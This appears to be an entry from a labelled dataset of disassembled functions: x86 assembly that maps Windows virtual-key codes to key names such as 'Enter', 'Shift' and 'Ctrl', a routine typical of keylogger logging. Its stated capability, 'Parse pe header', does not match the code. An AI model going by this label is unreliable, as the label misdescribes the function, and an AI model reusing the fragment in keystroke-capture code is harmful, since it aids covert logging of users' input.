Function at 0x409301
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
cmp dword [ebp + 8], 0x90
jne 0x409321
mov eax, 0x4944d1
jmp 0x4098d5
cmp dword [ebp + 8], 8
jne 0x409335
mov eax, str.BackSpace
jmp 0x4098d5
cmp dword [ebp + 8], 0xbe
jne 0x40934c
mov eax, 0x4944c5
jmp 0x4098d5
cmp dword [ebp + 8], 0xbf
jne 0x409363
mov eax, 0x4944c7
jmp 0x4098d5
cmp dword [ebp + 8], 0xbc
jne 0x40937a
mov eax, 0x4944c3
jmp 0x4098d5
cmp dword [ebp + 8], 0xdc
jne 0x409391
mov eax, 0x4944cb
jmp 0x4098d5
cmp dword [ebp + 8], 0xde
jne 0x4093a8
mov eax, 0x4940c9
jmp 0x4098d5
cmp dword [ebp + 8], 0xba
jne 0x4093bf
mov eax, 0x4944c9
jmp 0x4098d5
cmp dword [ebp + 8], 0xdb
jne 0x4093d6
mov eax, 0x4944cd
jmp 0x4098d5
cmp dword [ebp + 8], 0xdd
jne 0x4093ed
mov eax, 0x4944cf
jmp 0x4098d5
cmp dword [ebp + 8], 0xbb
jne 0x409404
mov eax, 0x4944e3
jmp 0x4098d5
cmp dword [ebp + 8], 0xbd
jne 0x40941b
mov eax, 0x4944e5
jmp 0x4098d5
cmp dword [ebp + 8], 0x6b
jne 0x40942f
mov eax, 0x4944e7
jmp 0x4098d5
cmp dword [ebp + 8], 0x1b
jne 0x409443
mov eax, 0x4944e9
jmp 0x4098d5
cmp dword [ebp + 8], 0x70
jne 0x409457
mov eax, 0x494461
jmp 0x4098d5
cmp dword [ebp + 8], 0x71
jne 0x40946b
mov eax, 0x494464
jmp 0x4098d5
cmp dword [ebp + 8], 0x72
jne 0x40947f
mov eax, 0x494467
jmp 0x4098d5
cmp dword [ebp + 8], 0x73
jne 0x409493
mov eax, 0x49446a
jmp 0x4098d5
cmp dword [ebp + 8], 0x74
jne 0x4094a7
mov eax, 0x49446d
jmp 0x4098d5
cmp dword [ebp + 8], 0x75
jne 0x4094bb
mov eax, 0x494470
jmp 0x4098d5
cmp dword [ebp + 8], 0x76
jne 0x4094cf
mov eax, 0x494473
jmp 0x4098d5
cmp dword [ebp + 8], 0x77
jne 0x4094e3
mov eax, 0x494476
jmp 0x4098d5
cmp dword [ebp + 8], 0x78
jne 0x4094f7
mov eax, 0x494479
jmp 0x4098d5
cmp dword [ebp + 8], 0x79
jne 0x40950b
mov eax, 0x49447c
jmp 0x4098d5
cmp dword [ebp + 8], 0x7a
jne 0x40951f
mov eax, 0x494480
jmp 0x4098d5
cmp dword [ebp + 8], 0x7b
jne 0x409533
mov eax, 0x494484
jmp 0x4098d5
cmp dword [ebp + 8], 0x51
jne 0x409547
mov eax, 0x49437c
jmp 0x4098d5
cmp dword [ebp + 8], 0x57
jne 0x40955b
mov eax, 0x494380
jmp 0x4098d5
cmp dword [ebp + 8], 0x45
jne 0x40956f
mov eax, 0x49437e
jmp 0x4098d5
cmp dword [ebp + 8], 0x52
jne 0x409583
mov eax, 0x49437a
jmp 0x4098d5
cmp dword [ebp + 8], 0x54
jne 0x409597
mov eax, 0x4944b9
jmp 0x4098d5
cmp dword [ebp + 8], 0x59
jne 0x4095ab
mov eax, 0x49438c
jmp 0x4098d5
cmp dword [ebp + 8], 0x55
jne 0x4095bf
mov eax, 0x494386
jmp 0x4098d5
cmp dword [ebp + 8], 0x49
jne 0x4095d3
mov eax, 0x494388
jmp 0x4098d5
cmp dword [ebp + 8], 0x4f
jne 0x4095e7
mov eax, 0x494382
jmp 0x4098d5
cmp dword [ebp + 8], 0x50
jne 0x4095fb
mov eax, 0x494384
jmp 0x4098d5
cmp dword [ebp + 8], 0x41
jne 0x40960f
mov eax, str.AVDBSCRQEWOPUIZYKLJMN_n
jmp 0x4098d5
cmp dword [ebp + 8], 0x53
jne 0x409623
mov eax, 0x494376
jmp 0x4098d5
cmp dword [ebp + 8], 0x44
jne 0x409637
mov eax, 0x494372
jmp 0x4098d5
cmp dword [ebp + 8], 0x46
jne 0x40964b
mov eax, 0x4944bb
jmp 0x4098d5
cmp dword [ebp + 8], 0x47
jne 0x40965f
mov eax, 0x4944bd
jmp 0x4098d5
cmp dword [ebp + 8], 0x48
jne 0x409673
mov eax, 0x4944bf
jmp 0x4098d5
cmp dword [ebp + 8], 0x4a
jne 0x409687
mov eax, 0x494392
jmp 0x4098d5
cmp dword [ebp + 8], 0x4b
jne 0x40969b
mov eax, 0x49438e
jmp 0x4098d5
cmp dword [ebp + 8], 0x4c
jne 0x4096af
mov eax, 0x494390
jmp 0x4098d5
cmp dword [ebp + 8], 0x5a
jne 0x4096c3
mov eax, 0x49438a
jmp 0x4098d5
cmp dword [ebp + 8], 0x58
jne 0x4096d7
mov eax, 0x4944c1
jmp 0x4098d5
cmp dword [ebp + 8], 0x43
jne 0x4096eb
mov eax, 0x494378
jmp 0x4098d5
cmp dword [ebp + 8], 0x56
jne 0x4096ff
mov eax, 0x494370
jmp 0x4098d5
cmp dword [ebp + 8], 0x42
jne 0x409713
mov eax, 0x494374
jmp 0x4098d5
cmp dword [ebp + 8], 0x4e
jne 0x409727
mov eax, 0x494396
jmp 0x4098d5
cmp dword [ebp + 8], 0x4d
jne 0x40973b
mov eax, 0x494394
jmp 0x4098d5
cmp dword [ebp + 8], 0x23
jne 0x40974f
mov eax, 0x4944ed
jmp 0x4098d5
cmp dword [ebp + 8], 0xd
jne 0x409763
mov eax, str.Enter_
jmp 0x4098d5
cmp dword [ebp + 8], 0x10
jne 0x409777
mov eax, str.Shift
jmp 0x4098d5
cmp dword [ebp + 8], 0x11
jne 0x40978b
mov eax, str.Ctrl
jmp 0x4098d5
cmp dword [ebp + 8], 0x12
jne 0x40979f
mov eax, 0x494507
jmp 0x4098d5
cmp dword [ebp + 8], 0x31
jne 0x4097b3
mov eax, 0x494488
jmp 0x4098d5
cmp dword [ebp + 8], 0x32
jne 0x4097c7
mov eax, 0x49448c
jmp 0x4098d5
cmp dword [ebp + 8], 0x33
jne 0x4097db
mov eax, 0x494490
jmp 0x4098d5
cmp dword [ebp + 8], 0x34
jne 0x4097ef
mov eax, 0x494494
jmp 0x4098d5
cmp dword [ebp + 8], 0x35
jne 0x409803
mov eax, 0x494498
jmp 0x4098d5
cmp dword [ebp + 8], 0x36
jne 0x409817
mov eax, 0x49449c
jmp 0x4098d5
cmp dword [ebp + 8], 0x37
jne 0x40982b
mov eax, 0x4944a0
jmp 0x4098d5
cmp dword [ebp + 8], 0x38
jne 0x40983f
mov eax, 0x4944a4
jmp 0x4098d5
cmp dword [ebp + 8], 0x39
jne 0x409853
mov eax, 0x4944a8
jmp 0x4098d5
cmp dword [ebp + 8], 0x30
jne 0x409867
mov eax, 0x4944ac
jmp 0x4098d5
cmp dword [ebp + 8], 0x24
jne 0x40987b
mov eax, str.Home
jmp 0x4098d5
cmp dword [ebp + 8], 0x22
jne 0x40988f
mov eax, str.Pagedown
jmp 0x4098d5
cmp dword [ebp + 8], 0x21
jne 0x4098a3
mov eax, str.PAGEUP
jmp 0x4098d5
cmp dword [ebp + 8], 0x2d
jne 0x4098b7
mov eax, str.Insert
jmp 0x4098d5
cmp dword [ebp + 8], 0x2e
jne 0x4098cb
mov eax, str.Delete
jmp 0x4098d5
mov eax, 0x4940b0
jmp 0x4098d5
mov esp, ebp
pop ebp
ret 4